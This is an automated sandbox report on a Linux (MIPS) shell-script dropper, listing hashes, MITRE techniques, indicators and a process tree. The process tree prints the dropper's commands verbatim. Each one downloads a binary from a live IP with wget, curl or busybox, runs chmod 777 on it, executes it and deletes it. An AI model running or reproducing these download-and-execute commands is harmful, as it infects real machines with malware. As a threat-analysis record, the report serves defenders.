c6117916a7cc13cf2662be688e03a52c3356afe802850e1ad93e280f3287a05a

Analysis

max time kernel
150s
max time network
207s
platform
debian-9_mipsel
resource
debian9-mipsel-20240418-en
resource tags

arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
17/11/2024, 01:14

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
c964ed0a4f56e48d6a3e7b695e3409bda9454c1cc86f1343f4d3c9a097195db3.sh
Size 10KB
Sample241117-bl2pcasjgp
SHA256 c964ed0a4f56e48d6a3e7b695e3409bda9454c1cc86f1343f4d3c9a097195db3
MD5 58ef98c4b658ab8d7caa0c8ba4a1ec33
SHA1 d48cf804d97fe833ae08e106b10ff8b0cb6b588b
SHA512 e1a8c4e64bfafcb37822b8d4b117e0b118af58c1dda6ce5e53a3a6451f80adb4eb015c8db25a86be8f3cacb3a16bab4883fde3d4335bfeb9cf3fe122ccf44137
SSDEEP 192:odpfkcsIxBxy+sCauYhJhZhcscrf4av9dpfkctxBxy+bauYhJ5cscrfg:odpfkcsfCauYhJhZBadpfkc7auYhJp
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 11 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
896	chmod
902	chmod
844	chmod
853	chmod
866	chmod
878	chmod
884	chmod
890	chmod
838	chmod
859	chmod
872	chmod

Executes dropped EXE 11 IoCs

ioc	pid	Process
/tmp/bEvyvdwr2wsOks6EIEOTUuAkT9GZQjSKWw	839	bEvyvdwr2wsOks6EIEOTUuAkT9GZQjSKWw
/tmp/HxpAZM5jFPssNbnhNx6nvEpxv78Vh5H5fz	845	HxpAZM5jFPssNbnhNx6nvEpxv78Vh5H5fz
/tmp/BRDmwnWKGanWQAcmLvQkM1b0KkPLDrJb9G	854	BRDmwnWKGanWQAcmLvQkM1b0KkPLDrJb9G
/tmp/C5r5qpNUDjYugtS7Bwniwvxc5CN74yD0zL	860	C5r5qpNUDjYugtS7Bwniwvxc5CN74yD0zL
/tmp/VfHLCOOXS0d983MuZkLE6dxKEcZ3DjFXoH	867	VfHLCOOXS0d983MuZkLE6dxKEcZ3DjFXoH
/tmp/Jl19WVzutcoHtYGAUUHcxvaSgFFjWQ0X5z	873	Jl19WVzutcoHtYGAUUHcxvaSgFFjWQ0X5z
/tmp/K09rsqdAozKZ7UXXmt0EQ8956VavEEgGTl	879	K09rsqdAozKZ7UXXmt0EQ8956VavEEgGTl
/tmp/RfuyFrplN1pXQx66zAtk2DaUCOuj5SGUpH	885	RfuyFrplN1pXQx66zAtk2DaUCOuj5SGUpH
/tmp/0wfK9SXTfWmnoalWgxXIrYsPGSFUqfn8aJ	891	0wfK9SXTfWmnoalWgxXIrYsPGSFUqfn8aJ
/tmp/mYfcGATVMMvW7ruGku4VHhr67434kFZVQa	897	mYfcGATVMMvW7ruGku4VHhr67434kFZVQa
/tmp/dWG6j5UIxqXUiZZGSc713sqL1aLNbMf8Wd	903	dWG6j5UIxqXUiZZGSc713sqL1aLNbMf8Wd

Reads runtime system information 11 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 11 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/bEvyvdwr2wsOks6EIEOTUuAkT9GZQjSKWw	curl
File opened for modification	/tmp/C5r5qpNUDjYugtS7Bwniwvxc5CN74yD0zL	curl
File opened for modification	/tmp/dWG6j5UIxqXUiZZGSc713sqL1aLNbMf8Wd	curl
File opened for modification	/tmp/K09rsqdAozKZ7UXXmt0EQ8956VavEEgGTl	curl
File opened for modification	/tmp/RfuyFrplN1pXQx66zAtk2DaUCOuj5SGUpH	curl
File opened for modification	/tmp/0wfK9SXTfWmnoalWgxXIrYsPGSFUqfn8aJ	curl
File opened for modification	/tmp/mYfcGATVMMvW7ruGku4VHhr67434kFZVQa	curl
File opened for modification	/tmp/HxpAZM5jFPssNbnhNx6nvEpxv78Vh5H5fz	curl
File opened for modification	/tmp/BRDmwnWKGanWQAcmLvQkM1b0KkPLDrJb9G	curl
File opened for modification	/tmp/VfHLCOOXS0d983MuZkLE6dxKEcZ3DjFXoH	curl
File opened for modification	/tmp/Jl19WVzutcoHtYGAUUHcxvaSgFFjWQ0X5z	curl

/tmp/c964ed0a4f56e48d6a3e7b695e3409bda9454c1cc86f1343f4d3c9a097195db3.sh
/tmp/c964ed0a4f56e48d6a3e7b695e3409bda9454c1cc86f1343f4d3c9a097195db3.sh
1⤵
PID:731
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:735
- /usr/bin/wget
  wget http://216.126.231.240/bins/bEvyvdwr2wsOks6EIEOTUuAkT9GZQjSKWw
  2⤵
  PID:739
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/bEvyvdwr2wsOks6EIEOTUuAkT9GZQjSKWw
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:758
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/bEvyvdwr2wsOks6EIEOTUuAkT9GZQjSKWw
  2⤵
  PID:759
- /bin/chmod
  chmod 777 bEvyvdwr2wsOks6EIEOTUuAkT9GZQjSKWw
  2⤵
  - File and Directory Permissions Modification
  PID:838
- /tmp/bEvyvdwr2wsOks6EIEOTUuAkT9GZQjSKWw
  ./bEvyvdwr2wsOks6EIEOTUuAkT9GZQjSKWw
  2⤵
  - Executes dropped EXE
  PID:839
- /bin/rm
  rm bEvyvdwr2wsOks6EIEOTUuAkT9GZQjSKWw
  2⤵
  PID:840
- /usr/bin/wget
  wget http://216.126.231.240/bins/HxpAZM5jFPssNbnhNx6nvEpxv78Vh5H5fz
  2⤵
  PID:841
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/HxpAZM5jFPssNbnhNx6nvEpxv78Vh5H5fz
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:842
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/HxpAZM5jFPssNbnhNx6nvEpxv78Vh5H5fz
  2⤵
  PID:843
- /bin/chmod
  chmod 777 HxpAZM5jFPssNbnhNx6nvEpxv78Vh5H5fz
  2⤵
  - File and Directory Permissions Modification
  PID:844
- /tmp/HxpAZM5jFPssNbnhNx6nvEpxv78Vh5H5fz
  ./HxpAZM5jFPssNbnhNx6nvEpxv78Vh5H5fz
  2⤵
  - Executes dropped EXE
  PID:845
- /bin/rm
  rm HxpAZM5jFPssNbnhNx6nvEpxv78Vh5H5fz
  2⤵
  PID:846
- /usr/bin/wget
  wget http://216.126.231.240/bins/BRDmwnWKGanWQAcmLvQkM1b0KkPLDrJb9G
  2⤵
  PID:847
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/BRDmwnWKGanWQAcmLvQkM1b0KkPLDrJb9G
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:851
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/BRDmwnWKGanWQAcmLvQkM1b0KkPLDrJb9G
  2⤵
  PID:852
- /bin/chmod
  chmod 777 BRDmwnWKGanWQAcmLvQkM1b0KkPLDrJb9G
  2⤵
  - File and Directory Permissions Modification
  PID:853
- /tmp/BRDmwnWKGanWQAcmLvQkM1b0KkPLDrJb9G
  ./BRDmwnWKGanWQAcmLvQkM1b0KkPLDrJb9G
  2⤵
  - Executes dropped EXE
  PID:854
- /bin/rm
  rm BRDmwnWKGanWQAcmLvQkM1b0KkPLDrJb9G
  2⤵
  PID:855
- /usr/bin/wget
  wget http://216.126.231.240/bins/C5r5qpNUDjYugtS7Bwniwvxc5CN74yD0zL
  2⤵
  PID:856
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/C5r5qpNUDjYugtS7Bwniwvxc5CN74yD0zL
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:857
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/C5r5qpNUDjYugtS7Bwniwvxc5CN74yD0zL
  2⤵
  PID:858
- /bin/chmod
  chmod 777 C5r5qpNUDjYugtS7Bwniwvxc5CN74yD0zL
  2⤵
  - File and Directory Permissions Modification
  PID:859
- /tmp/C5r5qpNUDjYugtS7Bwniwvxc5CN74yD0zL
  ./C5r5qpNUDjYugtS7Bwniwvxc5CN74yD0zL
  2⤵
  - Executes dropped EXE
  PID:860
- /bin/rm
  rm C5r5qpNUDjYugtS7Bwniwvxc5CN74yD0zL
  2⤵
  PID:861
- /usr/bin/wget
  wget http://216.126.231.240/bins/VfHLCOOXS0d983MuZkLE6dxKEcZ3DjFXoH
  2⤵
  PID:862
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/VfHLCOOXS0d983MuZkLE6dxKEcZ3DjFXoH
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:863
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/VfHLCOOXS0d983MuZkLE6dxKEcZ3DjFXoH
  2⤵
  PID:865
- /bin/chmod
  chmod 777 VfHLCOOXS0d983MuZkLE6dxKEcZ3DjFXoH
  2⤵
  - File and Directory Permissions Modification
  PID:866
- /tmp/VfHLCOOXS0d983MuZkLE6dxKEcZ3DjFXoH
  ./VfHLCOOXS0d983MuZkLE6dxKEcZ3DjFXoH
  2⤵
  - Executes dropped EXE
  PID:867
- /bin/rm
  rm VfHLCOOXS0d983MuZkLE6dxKEcZ3DjFXoH
  2⤵
  PID:868
- /usr/bin/wget
  wget http://216.126.231.240/bins/Jl19WVzutcoHtYGAUUHcxvaSgFFjWQ0X5z
  2⤵
  PID:869
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Jl19WVzutcoHtYGAUUHcxvaSgFFjWQ0X5z
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:870
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Jl19WVzutcoHtYGAUUHcxvaSgFFjWQ0X5z
  2⤵
  PID:871
- /bin/chmod
  chmod 777 Jl19WVzutcoHtYGAUUHcxvaSgFFjWQ0X5z
  2⤵
  - File and Directory Permissions Modification
  PID:872
- /tmp/Jl19WVzutcoHtYGAUUHcxvaSgFFjWQ0X5z
  ./Jl19WVzutcoHtYGAUUHcxvaSgFFjWQ0X5z
  2⤵
  - Executes dropped EXE
  PID:873
- /bin/rm
  rm Jl19WVzutcoHtYGAUUHcxvaSgFFjWQ0X5z
  2⤵
  PID:874
- /usr/bin/wget
  wget http://216.126.231.240/bins/K09rsqdAozKZ7UXXmt0EQ8956VavEEgGTl
  2⤵
  PID:875
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/K09rsqdAozKZ7UXXmt0EQ8956VavEEgGTl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:876
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/K09rsqdAozKZ7UXXmt0EQ8956VavEEgGTl
  2⤵
  PID:877
- /bin/chmod
  chmod 777 K09rsqdAozKZ7UXXmt0EQ8956VavEEgGTl
  2⤵
  - File and Directory Permissions Modification
  PID:878
- /tmp/K09rsqdAozKZ7UXXmt0EQ8956VavEEgGTl
  ./K09rsqdAozKZ7UXXmt0EQ8956VavEEgGTl
  2⤵
  - Executes dropped EXE
  PID:879
- /bin/rm
  rm K09rsqdAozKZ7UXXmt0EQ8956VavEEgGTl
  2⤵
  PID:880
- /usr/bin/wget
  wget http://216.126.231.240/bins/RfuyFrplN1pXQx66zAtk2DaUCOuj5SGUpH
  2⤵
  PID:881
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/RfuyFrplN1pXQx66zAtk2DaUCOuj5SGUpH
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:882
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/RfuyFrplN1pXQx66zAtk2DaUCOuj5SGUpH
  2⤵
  PID:883
- /bin/chmod
  chmod 777 RfuyFrplN1pXQx66zAtk2DaUCOuj5SGUpH
  2⤵
  - File and Directory Permissions Modification
  PID:884
- /tmp/RfuyFrplN1pXQx66zAtk2DaUCOuj5SGUpH
  ./RfuyFrplN1pXQx66zAtk2DaUCOuj5SGUpH
  2⤵
  - Executes dropped EXE
  PID:885
- /bin/rm
  rm RfuyFrplN1pXQx66zAtk2DaUCOuj5SGUpH
  2⤵
  PID:886
- /usr/bin/wget
  wget http://216.126.231.240/bins/0wfK9SXTfWmnoalWgxXIrYsPGSFUqfn8aJ
  2⤵
  PID:887
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/0wfK9SXTfWmnoalWgxXIrYsPGSFUqfn8aJ
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:888
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/0wfK9SXTfWmnoalWgxXIrYsPGSFUqfn8aJ
  2⤵
  PID:889
- /bin/chmod
  chmod 777 0wfK9SXTfWmnoalWgxXIrYsPGSFUqfn8aJ
  2⤵
  - File and Directory Permissions Modification
  PID:890
- /tmp/0wfK9SXTfWmnoalWgxXIrYsPGSFUqfn8aJ
  ./0wfK9SXTfWmnoalWgxXIrYsPGSFUqfn8aJ
  2⤵
  - Executes dropped EXE
  PID:891
- /bin/rm
  rm 0wfK9SXTfWmnoalWgxXIrYsPGSFUqfn8aJ
  2⤵
  PID:892
- /usr/bin/wget
  wget http://216.126.231.240/bins/mYfcGATVMMvW7ruGku4VHhr67434kFZVQa
  2⤵
  PID:893
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/mYfcGATVMMvW7ruGku4VHhr67434kFZVQa
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:894
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/mYfcGATVMMvW7ruGku4VHhr67434kFZVQa
  2⤵
  PID:895
- /bin/chmod
  chmod 777 mYfcGATVMMvW7ruGku4VHhr67434kFZVQa
  2⤵
  - File and Directory Permissions Modification
  PID:896
- /tmp/mYfcGATVMMvW7ruGku4VHhr67434kFZVQa
  ./mYfcGATVMMvW7ruGku4VHhr67434kFZVQa
  2⤵
  - Executes dropped EXE
  PID:897
- /bin/rm
  rm mYfcGATVMMvW7ruGku4VHhr67434kFZVQa
  2⤵
  PID:898
- /usr/bin/wget
  wget http://216.126.231.240/bins/dWG6j5UIxqXUiZZGSc713sqL1aLNbMf8Wd
  2⤵
  PID:899
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/dWG6j5UIxqXUiZZGSc713sqL1aLNbMf8Wd
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:900
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/dWG6j5UIxqXUiZZGSc713sqL1aLNbMf8Wd
  2⤵
  PID:901
- /bin/chmod
  chmod 777 dWG6j5UIxqXUiZZGSc713sqL1aLNbMf8Wd
  2⤵
  - File and Directory Permissions Modification
  PID:902
- /tmp/dWG6j5UIxqXUiZZGSc713sqL1aLNbMf8Wd
  ./dWG6j5UIxqXUiZZGSc713sqL1aLNbMf8Wd
  2⤵
  - Executes dropped EXE
  PID:903
- /bin/rm
  rm dWG6j5UIxqXUiZZGSc713sqL1aLNbMf8Wd
  2⤵
  PID:904
- /usr/bin/wget
  wget http://216.126.231.240/bins/SmnboA1og61Foh14q5GUXsUDtRRV88VBUQ
  2⤵
  PID:905

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

bEvyvdwr2wsOks6EIEOTUuAkT9GZQjSKWw

Path /tmp/bEvyvdwr2wsOks6EIEOTUuAkT9GZQjSKWw
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download